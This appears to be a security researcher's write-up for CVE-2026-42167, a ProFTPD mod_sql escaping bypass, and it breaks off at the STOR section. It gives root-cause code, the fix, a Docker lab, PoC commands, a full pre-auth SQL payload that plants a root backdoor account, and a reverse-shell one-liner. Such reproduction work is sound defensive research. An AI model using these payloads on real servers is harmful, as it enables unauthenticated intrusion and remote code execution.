
Independent reproduction, code-level root-cause analysis, and realistic-exposure write-up for CVE-2026-42167 (ProFTPD mod_sql is_escaped_text() bypass).
mod_sql SQL Injection / Auth Bypass / RCEIndependent reproduction, code-level root-cause walkthrough, and a frank
exposure analysis for CVE-2026-42167 — the is_escaped_text() bypass in
ProFTPD's mod_sql logging pipeline disclosed by ZeroPath Research and fixed
in ProFTPD 1.3.9a / 1.3.10rc1.
Built and verified end-to-end in Docker on macOS / Apple Silicon, 2026-04-29.
TL;DR — see Bottom line for the realistic exposure picture before deciding how worried to be. This is not a default-install bug, but the dangerous quoting pattern is the pattern the upstream docs tell you to use, so a large fraction of
mod_sqldeployments inherit it.
| Field | Value |
|---|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (SQL Injection), CWE-78 (OS Command Injection — via PG COPY TO PROGRAM) |
| Affected | ProFTPD ≤ 1.3.9 with mod_sql + SQLLog/SQLNamedQuery whose format string interpolates an attacker-controlled variable inside single quotes |
| Fixed in | 1.3.9a (af90843ba…) / 1.3.10rc1, see commit e6f728481 ("Issue #2052") |
| Pinned vulnerable commit | ae25959adb05ae1d6ebfa1f36bf778c9c34e9410 |
| Vulnerable file | contrib/mod_sql.c lines 741–758 (is_escaped_text) and line 777 (sql_resolved_append_text) |
| Original disclosure | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| Public PoC | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| Release notes | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
is_escaped_text() heuristic in contrib/mod_sql.cmod_sql resolves logging format variables (%U, %{basename}, etc.) and
appends each piece into the rendered SQL via sql_resolved_append_text().
To preserve backwards compatibility with admin configs that already wrap
variables in '…', the function calls is_escaped_text() to decide
whether sql_escapestring is needed:
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char *text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != '\'') return FALSE;
745 if (text[text_len-1] != '\'') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == '\'') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… /* …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
The check is purely structural — it cannot distinguish "already escaped by
trusted code" from "crafted by an attacker to look already escaped."
Any client-supplied value matching '<no-internal-quotes>' skips
sql_escapestring and is concatenated raw into the final query.
The standard, documented config wraps %U / %{basename} / %m in single
quotes:
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
When the attacker sends USER '<payload>' (start- and end-quote, no
internal quotes), the resolver substitutes %U unescaped, producing
''<payload>'' in the SQL — the empty string literals close the
surrounding quotes and <payload> runs as raw SQL. With PostgreSQL
(PQexec) and SQLite (sqlite3_exec), stacked queries are supported, so
<payload> can be any sequence of statements.
Because SQLLog ERR_* fires on failed logins and %U is set from
USER before authentication, the attack is fully unauthenticated.
e6f728481, "Issue #2052")sql_resolved_append_text() gains an already_escaped parameter. Callers
that resolve values from client input pass FALSE and now go through
sql_escapestring unconditionally — the is_escaped_text() heuristic is
still applied for the legitimate "config has pre-escaped value" path but
no longer applies to attacker-controlled data.
+--------------------+ FTP 21 +-----------------------+
| attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server |
| python3 PoCs | | ProFTPD 1.3.9-pre |
+--------------------+ | mod_sql_postgres |
+-----------+-----------+
| libpq
v
+-----------------------+
| proftpd-poc-postgres |
| PostgreSQL 15 |
| role 'proftpd' = SU |
+-----------------------+
setup/docker-compose.yml.setup/proftpd.conf enables the vulnerable logging config (see §1).setup/seed.sql creates users, groups, activity_log, xfer_log,
and secrets, plus a single legitimate FTP user ftpuser / ftppass.Prerequisites: Docker Desktop, Python 3.10+, git. (uv is optional; the
PoCs are stdlib-only.)
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
The two interactive variants in the upstream repo
(preauth_user_rce.py, postauth_stor_rce.py) are unmodified and pop a
PTY-backed reverse shell. They use the same primitive as the marker
variant — just substitute the shell command for bash -i >& /dev/tcp/<host>/<port> 0>&1 and listen on <port> first.
USER command, %U)USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --'
PASS x
Why it works:
is_escaped_text() → escape skipped.SQLNamedQuery is INSERT "'%U', '%r', '%m'" activity_log,
so the rendered SQL becomes
INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>') — but
<payload> itself starts with ', so the effective query is
INSERT INTO activity_log VALUES('', null, null); INSERT INTO users VALUES($$backdoor$$,…); --', '<%r>', '<%m>').-- comments out the trailing format slots.$$…$$ PostgreSQL dollar-quoting lets us pass strings (backdoor,
pwned123, /, /bin/bash) without ever using ' — preserving the
is_escaped_text() bypass.SQLLog ERR_* fires on the failed login → PQexec() runs the stacked
INSERT INTO users → backdoor account exists in the auth table.STOR filename, %{basename})